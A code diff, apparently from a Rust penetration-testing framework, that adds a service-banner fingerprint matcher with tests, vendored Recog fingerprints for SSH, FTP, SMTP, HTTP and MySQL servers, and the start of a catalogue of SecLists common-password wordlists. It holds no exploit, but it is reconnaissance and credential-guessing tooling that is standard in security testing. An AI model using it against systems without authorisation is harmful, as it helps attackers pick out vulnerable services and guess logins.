let a = match attr {
|
||||
Ok(a) => a,
|
||||
Err(err) => {
|
||||
tracing::warn!(db, "recog: bad attribute on <param>: {}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
match a.key.as_ref() {
|
||||
b"pos" => {
|
||||
let raw = match attr_value(&a, db) {
|
||||
Some(v) => v,
|
||||
None => continue,
|
||||
};
|
||||
match raw.parse::<usize>() {
|
||||
Ok(n) => pos = Some(n),
|
||||
Err(err) => {
|
||||
tracing::warn!(db, pos = %raw, "recog: non-numeric param pos: {}", err);
|
||||
}
|
||||
}
|
||||
}
|
||||
b"name" => {
|
||||
if let Some(v) = attr_value(&a, db) {
|
||||
pname = Some(v);
|
||||
}
|
||||
}
|
||||
b"value" => {
|
||||
if let Some(v) = attr_value(&a, db) {
|
||||
value = v;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
match (pos, pname) {
|
||||
(Some(pos), Some(name)) => Some(RecogParam { pos, name, value }),
|
||||
_ => {
|
||||
tracing::warn!(db, "recog: <param> missing pos or name attribute; skipping");
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Compile a Recog pattern. Recog patterns are case-insensitive by default and
|
||||
/// the `^`/`$` anchors match at string boundaries (not per-line), matching the
|
||||
/// upstream Ruby `Regexp` defaults used by recog-go.
|
||||
fn build_regex(pattern: &str) -> Result<Regex, regex::Error> {
|
||||
regex::RegexBuilder::new(pattern)
|
||||
.case_insensitive(true)
|
||||
.build()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Lazy registry — parse each embedded XML once, pre-compiling all regexes.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
static SSH_DB: Lazy<RecogDb> =
|
||||
Lazy::new(|| parse_db("ssh", include_str!("recog_db/ssh_banners.xml")));
|
||||
static FTP_DB: Lazy<RecogDb> =
|
||||
Lazy::new(|| parse_db("ftp", include_str!("recog_db/ftp_banners.xml")));
|
||||
static SMTP_DB: Lazy<RecogDb> =
|
||||
Lazy::new(|| parse_db("smtp", include_str!("recog_db/smtp_banners.xml")));
|
||||
static HTTP_DB: Lazy<RecogDb> =
|
||||
Lazy::new(|| parse_db("http", include_str!("recog_db/http_servers.xml")));
|
||||
static MYSQL_DB: Lazy<RecogDb> =
|
||||
Lazy::new(|| parse_db("mysql", include_str!("recog_db/mysql_banners.xml")));
|
||||
|
||||
/// Look up a fingerprint database by short name (`ssh`, `ftp`, `smtp`, `http`,
|
||||
/// `mysql`). Returns `None` for unknown names.
|
||||
pub fn db(name: &str) -> Option<&'static RecogDb> {
|
||||
match name {
|
||||
"ssh" => Some(&SSH_DB),
|
||||
"ftp" => Some(&FTP_DB),
|
||||
"smtp" => Some(&SMTP_DB),
|
||||
"http" => Some(&HTTP_DB),
|
||||
"mysql" => Some(&MYSQL_DB),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Match a banner against the named database. If the database name is unknown
|
||||
/// the returned `RecogMatch` has `matched == false`.
|
||||
pub fn match_banner(db_name: &str, banner: &str) -> RecogMatch {
|
||||
match db(db_name) {
|
||||
Some(database) => database.match_banner(banner),
|
||||
None => {
|
||||
tracing::warn!(db = db_name, "recog: requested unknown fingerprint database");
|
||||
RecogMatch::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn ssh_openssh_with_os_comment() {
|
||||
let m = match_banner("ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6");
|
||||
assert!(m.matched, "expected OpenSSH banner to match");
|
||||
assert_eq!(m.product(), Some("OpenSSH"));
|
||||
assert_eq!(m.version(), Some("8.9"));
|
||||
assert_eq!(m.vendor(), Some("OpenBSD"));
|
||||
assert_eq!(
|
||||
m.get("service.cpe23"),
|
||||
Some("cpe:/a:openbsd:openssh:8.9"),
|
||||
"interpolated CPE should embed the extracted version"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ssh_openssh_no_comment() {
|
||||
let m = match_banner("ssh", "SSH-2.0-OpenSSH_7.4");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("OpenSSH"));
|
||||
assert_eq!(m.version(), Some("7.4"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ssh_dropbear() {
|
||||
let m = match_banner("ssh", "SSH-2.0-dropbear_2020.81");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("Dropbear SSH"));
|
||||
assert_eq!(m.version(), Some("2020.81"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ssh_routeros_os_fields() {
|
||||
let m = match_banner("ssh", "SSH-2.0-ROSSSH");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("RouterOS"));
|
||||
assert_eq!(m.os_product(), Some("RouterOS"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ftp_proftpd() {
|
||||
let m = match_banner(
|
||||
"ftp",
|
||||
"220 ProFTPD 1.3.5b Server (Debian) [::ffff:10.0.0.1]",
|
||||
);
|
||||
assert!(m.matched, "expected ProFTPD banner to match");
|
||||
assert_eq!(m.product(), Some("ProFTPD"));
|
||||
assert_eq!(m.version(), Some("1.3.5b"));
|
||||
assert_eq!(m.get("service.cpe23"), Some("cpe:/a:proftpd:proftpd:1.3.5b"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ftp_vsftpd() {
|
||||
let m = match_banner("ftp", "220 (vsFTPd 3.0.3)");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("vsftpd"));
|
||||
assert_eq!(m.version(), Some("3.0.3"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ftp_pureftpd_no_version() {
|
||||
let m = match_banner("ftp", "220---------- Welcome to Pure-FTPd ----------");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("Pure-FTPd"));
|
||||
assert_eq!(m.version(), None, "Pure-FTPd hides its version");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn smtp_exim() {
|
||||
let m = match_banner(
|
||||
"smtp",
|
||||
"220 mail.example.com ESMTP Exim 4.94.2 Mon, 01 Jan 2024 00:00:00 +0000",
|
||||
);
|
||||
assert!(m.matched, "expected Exim banner to match");
|
||||
assert_eq!(m.product(), Some("Exim"));
|
||||
assert_eq!(m.version(), Some("4.94.2"));
|
||||
assert_eq!(m.get("service.cpe23"), Some("cpe:/a:exim:exim:4.94.2"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn smtp_postfix() {
|
||||
let m = match_banner("smtp", "220 mail.example.com ESMTP Postfix (Ubuntu)");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("Postfix"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn smtp_sendmail() {
|
||||
let m = match_banner(
|
||||
"smtp",
|
||||
"220 mail.example.com ESMTP Sendmail 8.15.2/8.15.2; Mon, 1 Jan 2024 00:00:00 GMT",
|
||||
);
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("Sendmail"));
|
||||
assert_eq!(m.version(), Some("8.15.2/8.15.2"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn http_apache_with_os() {
|
||||
let m = match_banner("http", "Apache/2.4.52 (Ubuntu)");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("HTTP Server"));
|
||||
assert_eq!(m.vendor(), Some("Apache"));
|
||||
assert_eq!(m.version(), Some("2.4.52"));
|
||||
assert_eq!(m.os_product(), Some("Ubuntu"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn http_nginx() {
|
||||
let m = match_banner("http", "nginx/1.18.0");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("nginx"));
|
||||
assert_eq!(m.version(), Some("1.18.0"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn http_iis_os_fields() {
|
||||
let m = match_banner("http", "Microsoft-IIS/10.0");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("IIS"));
|
||||
assert_eq!(m.version(), Some("10.0"));
|
||||
assert_eq!(m.os_product(), Some("Windows"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mysql_mariadb() {
|
||||
let m = match_banner("mysql", "10.5.12-MariaDB-1:10.5.12+maria~focal");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("MariaDB"));
|
||||
assert_eq!(m.version(), Some("10.5.12"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mysql_plain_version() {
|
||||
let m = match_banner("mysql", "5.7.38");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("MySQL"));
|
||||
assert_eq!(m.version(), Some("5.7.38"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unknown_db_does_not_match() {
|
||||
let m = match_banner("does-not-exist", "anything");
|
||||
assert!(!m.matched);
|
||||
assert!(m.summary().is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn non_matching_banner() {
|
||||
let m = match_banner("ssh", "not-an-ssh-banner-at-all");
|
||||
assert!(!m.matched);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn summary_helper() {
|
||||
let m = match_banner("ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6");
|
||||
assert_eq!(m.summary().as_deref(), Some("OpenSSH 8.9"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn malformed_regex_is_skipped_not_panicking() {
|
||||
// An unbalanced group is invalid; parse_db must skip it without panic
|
||||
// and still load the valid fingerprint that follows.
|
||||
let xml = r#"<fingerprints matches="t">
|
||||
<fingerprint pattern="(unterminated">
|
||||
<param pos="0" name="service.product" value="Broken"/>
|
||||
</fingerprint>
|
||||
<fingerprint pattern="^GOOD-([\d.]+)$">
|
||||
<param pos="0" name="service.product" value="Good"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
</fingerprints>"#;
|
||||
let db = parse_db("test", xml);
|
||||
assert_eq!(db.fingerprints.len(), 1, "broken fingerprint must be skipped");
|
||||
let m = db.match_banner("GOOD-1.2");
|
||||
assert!(m.matched);
|
||||
assert_eq!(m.product(), Some("Good"));
|
||||
assert_eq!(m.version(), Some("1.2"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn all_databases_load() {
|
||||
for name in ["ssh", "ftp", "smtp", "http", "mysql"] {
|
||||
let database = db(name).expect("database should resolve");
|
||||
assert!(
|
||||
!database.fingerprints.is_empty(),
|
||||
"db {} parsed zero fingerprints",
|
||||
database.name
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
Vendored from Rapid7 Recog (https://github.com/rapid7/recog), BSD-2-Clause.
|
||||
Trimmed subset of xml/ftp_banners.xml for rustsploit's recog matcher.
|
||||
-->
|
||||
<fingerprints matches="ftp.banner">
|
||||
|
||||
<fingerprint pattern="^220[- ]ProFTPD\s+([\d.]+[a-z]?(?:rc\d+)?)\s+Server">
|
||||
<description>ProFTPD FTP server</description>
|
||||
<example service.version="1.3.5b" service.product="ProFTPD">220 ProFTPD 1.3.5b Server (Debian) [::ffff:10.0.0.1]</example>
|
||||
<param pos="0" name="service.vendor" value="ProFTPD Project"/>
|
||||
<param pos="0" name="service.family" value="ProFTPD"/>
|
||||
<param pos="0" name="service.product" value="ProFTPD"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:proftpd:proftpd:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*\(vsFTPd\s+([\d.]+)\)">
|
||||
<description>vsftpd FTP server</description>
|
||||
<example service.version="3.0.3" service.product="vsftpd">220 (vsFTPd 3.0.3)</example>
|
||||
<param pos="0" name="service.vendor" value="vsftpd"/>
|
||||
<param pos="0" name="service.family" value="vsftpd"/>
|
||||
<param pos="0" name="service.product" value="vsftpd"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:vsftpd_project:vsftpd:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*Pure-FTPd">
|
||||
<description>Pure-FTPd FTP server (version hidden by default)</description>
|
||||
<example service.product="Pure-FTPd">220---------- Welcome to Pure-FTPd ----------</example>
|
||||
<param pos="0" name="service.vendor" value="Pure-FTPd"/>
|
||||
<param pos="0" name="service.family" value="Pure-FTPd"/>
|
||||
<param pos="0" name="service.product" value="Pure-FTPd"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*FileZilla Server\s+(?:version\s+)?([\d.]+(?:[\s-]beta)?)">
|
||||
<description>FileZilla FTP server for Windows</description>
|
||||
<example service.version="0.9.41" service.product="FileZilla Server">220-FileZilla Server version 0.9.41 beta</example>
|
||||
<param pos="0" name="service.vendor" value="FileZilla"/>
|
||||
<param pos="0" name="service.family" value="FileZilla Server"/>
|
||||
<param pos="0" name="service.product" value="FileZilla Server"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="0" name="os.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="os.family" value="Windows"/>
|
||||
<param pos="0" name="os.product" value="Windows"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ]Microsoft FTP Service">
|
||||
<description>Microsoft IIS FTP service</description>
|
||||
<example service.product="Microsoft FTP Service">220 Microsoft FTP Service</example>
|
||||
<param pos="0" name="service.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="service.family" value="IIS"/>
|
||||
<param pos="0" name="service.product" value="Microsoft FTP Service"/>
|
||||
<param pos="0" name="os.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="os.family" value="Windows"/>
|
||||
<param pos="0" name="os.product" value="Windows"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*wu-([\d.]+)\(\d+\)">
|
||||
<description>WU-FTPD FTP server</description>
|
||||
<example service.version="2.6.2">220 FTP server (Version wu-2.6.2(1) Mon Sep 1 2003) ready.</example>
|
||||
<param pos="0" name="service.vendor" value="WU-FTPD"/>
|
||||
<param pos="0" name="service.family" value="WU-FTPD"/>
|
||||
<param pos="0" name="service.product" value="WU-FTPD"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
|
||||
</fingerprints>
|
||||
@@ -0,0 +1,80 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
Vendored from Rapid7 Recog (https://github.com/rapid7/recog), BSD-2-Clause.
|
||||
Trimmed subset of xml/http_servers.xml for rustsploit's recog matcher.
|
||||
Input is the value of the HTTP "Server:" response header.
|
||||
-->
|
||||
<fingerprints matches="http.server">
|
||||
|
||||
<fingerprint pattern="^Apache/([\d.]+)\s*\(([^)]+)\)">
|
||||
<description>Apache httpd with OS detail in parentheses</description>
|
||||
<example service.version="2.4.52" os.product="Ubuntu">Apache/2.4.52 (Ubuntu)</example>
|
||||
<param pos="0" name="service.vendor" value="Apache"/>
|
||||
<param pos="0" name="service.family" value="Apache"/>
|
||||
<param pos="0" name="service.product" value="HTTP Server"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="2" name="os.product"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:apache:http_server:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^Apache/([\d.]+)$">
|
||||
<description>Apache httpd with no OS detail</description>
|
||||
<example service.version="2.4.41">Apache/2.4.41</example>
|
||||
<param pos="0" name="service.vendor" value="Apache"/>
|
||||
<param pos="0" name="service.family" value="Apache"/>
|
||||
<param pos="0" name="service.product" value="HTTP Server"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:apache:http_server:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^nginx/([\d.]+)$">
|
||||
<description>nginx web server</description>
|
||||
<example service.version="1.18.0">nginx/1.18.0</example>
|
||||
<param pos="0" name="service.vendor" value="Nginx"/>
|
||||
<param pos="0" name="service.family" value="Nginx"/>
|
||||
<param pos="0" name="service.product" value="nginx"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:nginx:nginx:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^nginx$">
|
||||
<description>nginx web server with version suppressed</description>
|
||||
<example>nginx</example>
|
||||
<param pos="0" name="service.vendor" value="Nginx"/>
|
||||
<param pos="0" name="service.family" value="Nginx"/>
|
||||
<param pos="0" name="service.product" value="nginx"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^Microsoft-IIS/([\d.]+)$">
|
||||
<description>Microsoft Internet Information Services</description>
|
||||
<example service.version="10.0">Microsoft-IIS/10.0</example>
|
||||
<param pos="0" name="service.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="service.family" value="IIS"/>
|
||||
<param pos="0" name="service.product" value="IIS"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="0" name="os.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="os.family" value="Windows"/>
|
||||
<param pos="0" name="os.product" value="Windows"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:microsoft:iis:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^lighttpd/([\d.]+)$">
|
||||
<description>lighttpd web server</description>
|
||||
<example service.version="1.4.59">lighttpd/1.4.59</example>
|
||||
<param pos="0" name="service.vendor" value="lighttpd"/>
|
||||
<param pos="0" name="service.family" value="lighttpd"/>
|
||||
<param pos="0" name="service.product" value="lighttpd"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:lighttpd:lighttpd:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^Jetty\(([\d.]+\.v\d+)\)$">
|
||||
<description>Eclipse Jetty servlet engine</description>
|
||||
<example service.version="9.4.43.v20210629">Jetty(9.4.43.v20210629)</example>
|
||||
<param pos="0" name="service.vendor" value="Eclipse"/>
|
||||
<param pos="0" name="service.family" value="Jetty"/>
|
||||
<param pos="0" name="service.product" value="Jetty"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
|
||||
</fingerprints>
|
||||
@@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
Vendored from Rapid7 Recog (https://github.com/rapid7/recog), BSD-2-Clause.
|
||||
Trimmed subset of xml/mysql_banners.xml for rustsploit's recog matcher.
|
||||
Input is the version string from the MySQL/MariaDB handshake greeting packet.
|
||||
-->
|
||||
<fingerprints matches="mysql.banner">
|
||||
|
||||
<fingerprint pattern="^([\d.]+)-MariaDB(?:-([\w.+~:-]+))?$">
|
||||
<description>MariaDB database server, optionally with distro suffix</description>
|
||||
<example service.version="10.5.12" service.product="MariaDB">10.5.12-MariaDB-1:10.5.12+maria~focal</example>
|
||||
<param pos="0" name="service.vendor" value="MariaDB"/>
|
||||
<param pos="0" name="service.family" value="MariaDB"/>
|
||||
<param pos="0" name="service.product" value="MariaDB"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:mariadb:mariadb:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^([\d.]+)-(\d+(?:\.\d+)*)?-?Ubuntu">
|
||||
<description>MySQL server on Ubuntu</description>
|
||||
<example service.version="8.0.29" os.product="Ubuntu">8.0.29-0ubuntu0.20.04.3</example>
|
||||
<param pos="0" name="service.vendor" value="Oracle"/>
|
||||
<param pos="0" name="service.family" value="MySQL"/>
|
||||
<param pos="0" name="service.product" value="MySQL"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="0" name="os.vendor" value="Canonical"/>
|
||||
<param pos="0" name="os.family" value="Linux"/>
|
||||
<param pos="0" name="os.product" value="Ubuntu"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:oracle:mysql:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^([\d.]+)-log$">
|
||||
<description>MySQL server with binary logging enabled</description>
|
||||
<example service.version="5.7.38">5.7.38-log</example>
|
||||
<param pos="0" name="service.vendor" value="Oracle"/>
|
||||
<param pos="0" name="service.family" value="MySQL"/>
|
||||
<param pos="0" name="service.product" value="MySQL"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:oracle:mysql:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^([\d.]+)$">
|
||||
<description>Generic MySQL server version string</description>
|
||||
<example service.version="5.7.38">5.7.38</example>
|
||||
<param pos="0" name="service.vendor" value="Oracle"/>
|
||||
<param pos="0" name="service.family" value="MySQL"/>
|
||||
<param pos="0" name="service.product" value="MySQL"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:oracle:mysql:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
</fingerprints>
|
||||
@@ -0,0 +1,59 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
Vendored from Rapid7 Recog (https://github.com/rapid7/recog), BSD-2-Clause.
|
||||
Trimmed subset of xml/smtp_banners.xml for rustsploit's recog matcher.
|
||||
-->
|
||||
<fingerprints matches="smtp.banner">
|
||||
|
||||
<fingerprint pattern="^220[- ].*ESMTP Exim\s+([\d.]+)">
|
||||
<description>Exim mail transfer agent</description>
|
||||
<example service.version="4.94.2" service.product="Exim">220 mail.example.com ESMTP Exim 4.94.2 Mon, 01 Jan 2024 00:00:00 +0000</example>
|
||||
<param pos="0" name="service.vendor" value="Exim"/>
|
||||
<param pos="0" name="service.family" value="Exim"/>
|
||||
<param pos="0" name="service.product" value="Exim"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:exim:exim:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*ESMTP Postfix">
|
||||
<description>Postfix mail transfer agent (version usually hidden)</description>
|
||||
<example service.product="Postfix">220 mail.example.com ESMTP Postfix (Ubuntu)</example>
|
||||
<param pos="0" name="service.vendor" value="Postfix"/>
|
||||
<param pos="0" name="service.family" value="Postfix"/>
|
||||
<param pos="0" name="service.product" value="Postfix"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*ESMTP Sendmail\s+([\d.]+(?:/[\d.]+)?)">
|
||||
<description>Sendmail mail transfer agent</description>
|
||||
<example service.version="8.15.2" service.product="Sendmail">220 mail.example.com ESMTP Sendmail 8.15.2/8.15.2; Mon, 1 Jan 2024 00:00:00 GMT</example>
|
||||
<param pos="0" name="service.vendor" value="Sendmail"/>
|
||||
<param pos="0" name="service.family" value="Sendmail"/>
|
||||
<param pos="0" name="service.product" value="Sendmail"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="1" name="service.cpe23" value="cpe:/a:sendmail:sendmail:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*Microsoft ESMTP MAIL Service.*Version:\s*([\d.]+)">
|
||||
<description>Microsoft Exchange / IIS SMTP service</description>
|
||||
<example service.version="6.0.3790.4675">220 mail.example.com Microsoft ESMTP MAIL Service, Version: 6.0.3790.4675 ready</example>
|
||||
<param pos="0" name="service.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="service.family" value="Exchange"/>
|
||||
<param pos="0" name="service.product" value="Exchange"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="0" name="os.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="os.family" value="Windows"/>
|
||||
<param pos="0" name="os.product" value="Windows"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^220[- ].*\bSMTP\b.*\bhMailServer\b">
|
||||
<description>hMailServer for Windows</description>
|
||||
<example service.product="hMailServer">220 mail ESMTP hMailServer</example>
|
||||
<param pos="0" name="service.vendor" value="hMailServer"/>
|
||||
<param pos="0" name="service.family" value="hMailServer"/>
|
||||
<param pos="0" name="service.product" value="hMailServer"/>
|
||||
<param pos="0" name="os.vendor" value="Microsoft"/>
|
||||
<param pos="0" name="os.family" value="Windows"/>
|
||||
<param pos="0" name="os.product" value="Windows"/>
|
||||
</fingerprint>
|
||||
|
||||
</fingerprints>
|
||||
@@ -0,0 +1,67 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
Vendored from Rapid7 Recog (https://github.com/rapid7/recog), BSD-2-Clause.
|
||||
Trimmed subset of xml/ssh_banners.xml for rustsploit's recog matcher.
|
||||
-->
|
||||
<fingerprints matches="ssh.banner">
|
||||
|
||||
<fingerprint pattern="^SSH-[\d.]+-OpenSSH[_-]([\d.]+)(?:p(\d+))?\s+(.*)$">
|
||||
<description>OpenSSH running on a Linux/Unix host with an OS comment</description>
|
||||
<example service.version="8.9" service.product="OpenSSH">SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6</example>
|
||||
<param pos="0" name="service.vendor" value="OpenBSD"/>
|
||||
<param pos="0" name="service.family" value="OpenSSH"/>
|
||||
<param pos="0" name="service.product" value="OpenSSH"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
<param pos="3" name="service.cpe23" value="cpe:/a:openbsd:openssh:{service.version}"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^SSH-[\d.]+-OpenSSH[_-]([\d.]+)(?:p\d+)?$">
|
||||
<description>OpenSSH with no trailing OS comment</description>
|
||||
<example service.version="7.4" service.product="OpenSSH">SSH-2.0-OpenSSH_7.4</example>
|
||||
<param pos="0" name="service.vendor" value="OpenBSD"/>
|
||||
<param pos="0" name="service.family" value="OpenSSH"/>
|
||||
<param pos="0" name="service.product" value="OpenSSH"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^SSH-[\d.]+-dropbear[_-]([\d.]+)$">
|
||||
<description>Dropbear SSH server, common on embedded devices</description>
|
||||
<example service.version="2020.81" service.product="Dropbear SSH">SSH-2.0-dropbear_2020.81</example>
|
||||
<param pos="0" name="service.vendor" value="Matt Johnston"/>
|
||||
<param pos="0" name="service.family" value="Dropbear SSH"/>
|
||||
<param pos="0" name="service.product" value="Dropbear SSH"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^SSH-[\d.]+-ROSSSH$">
|
||||
<description>MikroTik RouterOS SSH service</description>
|
||||
<example>SSH-2.0-ROSSSH</example>
|
||||
<param pos="0" name="service.vendor" value="MikroTik"/>
|
||||
<param pos="0" name="service.family" value="RouterOS"/>
|
||||
<param pos="0" name="service.product" value="RouterOS"/>
|
||||
<param pos="0" name="os.vendor" value="MikroTik"/>
|
||||
<param pos="0" name="os.family" value="RouterOS"/>
|
||||
<param pos="0" name="os.product" value="RouterOS"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^SSH-[\d.]+-libssh[_-]([\d.]+)$">
|
||||
<description>libssh server library banner</description>
|
||||
<example service.version="0.9.6">SSH-2.0-libssh_0.9.6</example>
|
||||
<param pos="0" name="service.vendor" value="libssh"/>
|
||||
<param pos="0" name="service.family" value="libssh"/>
|
||||
<param pos="0" name="service.product" value="libssh"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
|
||||
<fingerprint pattern="^SSH-[\d.]+-Cisco-([\d.]+)$">
|
||||
<description>Cisco network device SSH service</description>
|
||||
<example service.version="1.25">SSH-2.0-Cisco-1.25</example>
|
||||
<param pos="0" name="service.vendor" value="Cisco"/>
|
||||
<param pos="0" name="service.family" value="IOS"/>
|
||||
<param pos="0" name="service.product" value="IOS"/>
|
||||
<param pos="0" name="os.vendor" value="Cisco"/>
|
||||
<param pos="0" name="os.family" value="IOS"/>
|
||||
<param pos="1" name="service.version"/>
|
||||
</fingerprint>
|
||||
|
||||
</fingerprints>
|
||||
File diff suppressed because it is too large
Load Diff
+98
-2
@@ -51,9 +51,51 @@ struct WordlistSpec {
|
||||
//
|
||||
// then paste the digest here. Until a list has a real checksum, leave it out
|
||||
// — there is no "TODO" placeholder, by design.
|
||||
// Curated subset of SecLists (https://github.com/danielmiessler/SecLists, MIT).
|
||||
// Each SHA-256 was computed over the exact raw bytes served from the pinned
|
||||
// `master` raw URL (the same bytes `verify_sha256` hashes after download).
|
||||
// Sizes are noted for reference; they are not enforced.
|
||||
const KNOWN_LISTS: &[WordlistSpec] = &[
|
||||
// Catalogue entries are added by the maintainer after fetching + hashing
|
||||
// each upstream artefact. Empty by design until verified.
|
||||
// --- Passwords ---
|
||||
WordlistSpec {
|
||||
name: "passwords-top-1k",
|
||||
url: "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/Pwdb_top-1000.txt",
|
||||
sha256: "9a648a4f30a399af3fed0ff097d7c4f98a73e2e043ba9748d84a1c49f23c0725",
|
||||
local_name: "seclists-pwdb-top-1000.txt",
|
||||
},
|
||||
WordlistSpec {
|
||||
name: "passwords-top-10k",
|
||||
url: "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/Pwdb_top-10000.txt",
|
||||
